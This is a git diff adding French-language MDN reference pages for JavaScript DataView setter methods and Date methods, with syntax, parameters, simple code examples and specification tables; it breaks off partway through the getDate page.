+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.setFloat64(0, 3);
+dataview.getFloat64(0); // 3
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée dans ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-dataview.prototype.setfloat64', 'DataView.prototype.setFloat64')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-dataview.prototype.setfloat64', 'DataView.prototype.setFloat64')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.DataView.setFloat64")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/setint16/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/setint16/index.html
new file mode 100644
index 0000000000..0e39e1ddb4
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/setint16/index.html
@@ -0,0 +1,95 @@
+---
+title: DataView.prototype.setInt16()
+slug: Web/JavaScript/Reference/Objets_globaux/DataView/setInt16
+tags:
+  - DataView
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setInt16
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>setInt16()</code></strong> permet d'enregister un entier signé sur 16 bits (type short par analogie avec C) à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-setint16.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dataview</var>.setInt16(positionOctet, value [, littleEndian])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>positionOctet</code></dt>
+ <dd>La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.</dd>
+ <dt><code>valeur</code></dt>
+ <dd>La valeur à enregistrer</dd>
+ <dt><code>littleEndian</code></dt>
+ <dd>{{optional_inline}} Indique si la donnée sur 16 bits est enregistrée {{Glossary("Endianness", "dans l'ordre des octets de poids faibles")}}. Si ce paramètre vaut <code>false</code> ou <code>undefined</code>, l'ordre sera celui des octets de poids forts.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h3 id="Erreurs_renvoyées">Erreurs renvoyées</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Renvoyée si <code>positionOctet</code> est tel que l'enregistrement sera fait en dehors de la vue.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_setInt16">Utilisation de la méthode <code>setInt16</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.setInt16(1, 3);
+dataview.getInt16(1); // 3
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée par ECMAScript 2015 (ES6).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-dataview.prototype.setint16', 'DataView.prototype.setInt16')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-dataview.prototype.setint16', 'DataView.prototype.setInt16')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.DataView.setInt16")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/setint32/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/setint32/index.html
new file mode 100644
index 0000000000..84338c5ddb
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/setint32/index.html
@@ -0,0 +1,95 @@
+---
+title: DataView.prototype.setInt32()
+slug: Web/JavaScript/Reference/Objets_globaux/DataView/setInt32
+tags:
+  - DataView
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setInt32
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>setInt32()</code></strong> permet d'enregister un entier signé sur 32 bits (type <em>long</em> par analogie avec C) à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-setint32.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dataview</var>.setInt32(positionOctet, value [, littleEndian])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>positionOctet</code></dt>
+ <dd>La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.</dd>
+ <dt><code>valeur</code></dt>
+ <dd>La valeur à enregistrer</dd>
+ <dt><code>littleEndian</code></dt>
+ <dd>{{optional_inline}} Indique si la donnée sur 32 bits est enregistrée {{Glossary("Endianness", "dans l'ordre des octets de poids faibles")}}. Si ce paramètre vaut <code>false</code> ou <code>undefined</code>, l'ordre sera celui des octets de poids forts.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h3 id="Erreurs_renvoyées">Erreurs renvoyées</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Renvoyée si <code>positionOctet</code> est tel que l'enregistrement sera fait en dehors de la vue.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_setInt32">Utilisation de la méthode <code>setInt32</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.setInt32(1, 3);
+dataview.getInt32(1); // 3
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée par ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-dataview.prototype.setint32', 'DataView.prototype.setInt32')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-dataview.prototype.setint32', 'DataView.prototype.setInt32')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.DataView.setInt32")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/setint8/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/setint8/index.html
new file mode 100644
index 0000000000..cd81ef7718
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/setint8/index.html
@@ -0,0 +1,93 @@
+---
+title: DataView.prototype.setInt8()
+slug: Web/JavaScript/Reference/Objets_globaux/DataView/setInt8
+tags:
+  - DataView
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setInt8
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>setInt8()</code></strong> permet d'enregister un entier signé sur 8 bits à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-setint8.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dataview</var>.setInt8(positionOctet, valeur)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>positionOctet</code></dt>
+ <dd>La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.</dd>
+ <dt><code>valeur</code></dt>
+ <dd>La valeur à enregistrer.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h3 id="Erreurs_renvoyées">Erreurs renvoyées</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Renvoyée si <code>positionOctet</code> est tel que l'enregistrement sera fait en dehors de la vue.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_setInt8">Utilisation de la méthode <code>setInt8</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.setInt8(1, 3);
+dataview.getInt8(1); // 3
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée dans ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-dataview.prototype.setint8', 'DataView.prototype.setInt8')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-dataview.prototype.setint8', 'DataView.prototype.setInt8')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("javascript.builtins.DataView.setInt8")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/setuint16/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/setuint16/index.html
new file mode 100644
index 0000000000..a6375403c4
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/setuint16/index.html
@@ -0,0 +1,95 @@
+---
+title: DataView.prototype.setUint16()
+slug: Web/JavaScript/Reference/Objets_globaux/DataView/setUint16
+tags:
+  - DataView
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setUint16
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>setUint16()</code></strong> permet d'enregister un entier non-signé sur 16 bits (type <em>unsigned short</em> par analogie avec C) à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-setuint16.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dataview</var>.setUint16(positionOctet, valeur [, littleEndian])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>positionOctet</code></dt>
+ <dd>La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.</dd>
+ <dt><code>valeur</code></dt>
+ <dd>La valeur à enregistrer</dd>
+ <dt><code>littleEndian</code></dt>
+ <dd>{{optional_inline}} Indique si la donnée sur 32 bits est enregistrée {{Glossary("Endianness", "dans l'ordre des octets de poids faibles")}}. Si ce paramètre vaut <code>false</code> ou <code>undefined</code>, l'ordre sera celui des octets de poids forts.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h3 id="Erreurs_renvoyées">Erreurs renvoyées</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Renvoyée si <code>positionOctet</code> est tel que l'enregistrement sera fait en dehors de la vue.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_setUint1">Utilisation de la méthode <code>setUint1</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.setUint16(1, 3);
+dataview.getUint16(1); // 3
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée dans ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-dataview.prototype.setuint16', 'DataView.prototype.setUint16')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-dataview.prototype.setuint16', 'DataView.prototype.setUint16')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.DataView.setUint16")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/setuint32/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/setuint32/index.html
new file mode 100644
index 0000000000..c4ef087803
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/setuint32/index.html
@@ -0,0 +1,95 @@
+---
+title: DataView.prototype.setUint32()
+slug: Web/JavaScript/Reference/Objets_globaux/DataView/setUint32
+tags:
+  - DataView
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setUint32
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>setUint32()</code></strong> permet d'enregister un entier non-signé sur 32 bits (type <em>unsigned long</em> par analogie avec C) à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-setuint32.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dataview</var>.setUint32(positionOctet, valeur [, littleEndian])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>positionOctet</code></dt>
+ <dd>La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.</dd>
+ <dt><code>valeur</code></dt>
+ <dd>La valeur à enregistrer</dd>
+ <dt><code>littleEndian</code></dt>
+ <dd>{{optional_inline}} Indique si la donnée sur 32 bits est enregistrée {{Glossary("Endianness", "dans l'ordre des octets de poids faibles")}}. Si ce paramètre vaut <code>false</code> ou <code>undefined</code>, l'ordre sera celui des octets de poids forts.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h3 id="Erreurs_renvoyées">Erreurs renvoyées</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Renvoyée si <code>positionOctet</code> est tel que l'enregistrement sera fait en dehors de la vue.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_setUint32">Utilisation de la méthode <code>setUint32</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.setUint32(1, 3);
+dataview.getUint32(1); // 3
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée dans ECMAScript 2015 (ES6).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-dataview.prototype.setuint32', 'DataView.prototype.setUint32')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-dataview.prototype.setuint32', 'DataView.prototype.setUint32')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.DataView.setUint32")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/setuint8/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/setuint8/index.html
new file mode 100644
index 0000000000..1e4abcb153
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/setuint8/index.html
@@ -0,0 +1,93 @@
+---
+title: DataView.prototype.setUint8()
+slug: Web/JavaScript/Reference/Objets_globaux/DataView/setUint8
+tags:
+  - DataView
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setUint8
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>setUint8()</code></strong> permet d'enregister un entier non-signé sur 8 bits à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-setuint8.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dataview</var>.setUint8(positionOctet, valeur)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>positionOctet</code></dt>
+ <dd>La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.</dd>
+ <dt><code>valeur</code></dt>
+ <dd>La valeur à enregistrer.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h3 id="Erreurs_renvoyées">Erreurs renvoyées</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Renvoyée si <code>positionOctet</code> est tel que l'enregistrement sera fait en dehors de la vue.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_setUint8">Utilisation de la méthode <code>setUint8</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.setUint8(1, 3);
+dataview.getUint8(1); // 3
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée dans ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-dataview.prototype.setuint8', 'DataView.prototype.setUint8')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-dataview.prototype.setuint8', 'DataView.prototype.setUint8')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.DataView.setUint8")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/@@toprimitive/index.html b/files/fr/web/javascript/reference/objets_globaux/date/@@toprimitive/index.html
new file mode 100644
index 0000000000..e3ded8eeb1
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/@@toprimitive/index.html
@@ -0,0 +1,67 @@
+---
+title: 'Date.prototype[@@toPrimitive]'
+slug: Web/JavaScript/Reference/Objets_globaux/Date/@@toPrimitive
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/@@toPrimitive
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>[@@toPrimitive]()</strong></code> permet de convertir un objet <code>Date</code> en une valeur primitive.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>Date()[Symbol.toPrimitive](hint);
+</var></pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur primitive de l'objet {{jsxref("Date")}}. Selon la valeur de l'argument, la méthode peut renvoyer une chaîne de caractères ou un nombre.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>[@@toPrimitive]()</code> de {{jsxref("Date")}} renvoie une valeur primitive qui est un nombre ou une chaîne de caractère.</p>
+
+<p>Si le paramètre <code>hint</code> vaut <code>"string"</code> ou <code>"default"</code>, <code>[@@toPrimitive]()</code> tentera d'appeler la méthode {{jsxref("Object.prototype.toString()", "toString")}}, si la propriété <code>toString()</code> n'existe pas, elle tentera alors d'appeler la méthode {{jsxref("Object.prototype.valueOf()", "valueOf")}}, si cette dernière n'existe pas non plus, <code>[@@toPrimitive]()</code> lèvera une exception {{jsxref("TypeError")}}.</p>
+
+<p>Si le paramètre <code>hint</code> vaut <code>"number"</code>, <code>[@@toPrimitive]()</code> tentera d'abord un appel à <code>valueOf()</code> puis ensuite un appel à <code>toString()</code>.</p>
+
+<p>Le moteur JavaScript appelle la méthode <code>[@@toPrimitive]()</code> afin de convertir un objet en une valeur primitive. Il est rarement nécessaire d'appeler <code>[@@toPrimitive]()</code> explicitement dans son propre code, le moteur JavaScript l'utilisera automatiquement lorsqu'il détectera un objet là où une valeur primitive est attendue.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype-@@toprimitive', 'Date.prototype.@@toPrimitive')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype-@@toprimitive', 'Date.prototype.@@toPrimitive')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de ce tableau ont été générées à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.@@toPrimitive")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Symbol.toPrimitive")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getdate/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getdate/index.html
new file mode 100644
index 0000000000..571cd6f347
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/getdate/index.html
@@ -0,0 +1,88 @@
+---
+title: Date.prototype.getDate()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/getDate
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDate
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>getDate()</strong></code> retourne le jour du mois pour la date spécifiée d'après l'heure locale.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getdate.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">dateObj.getDate()</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
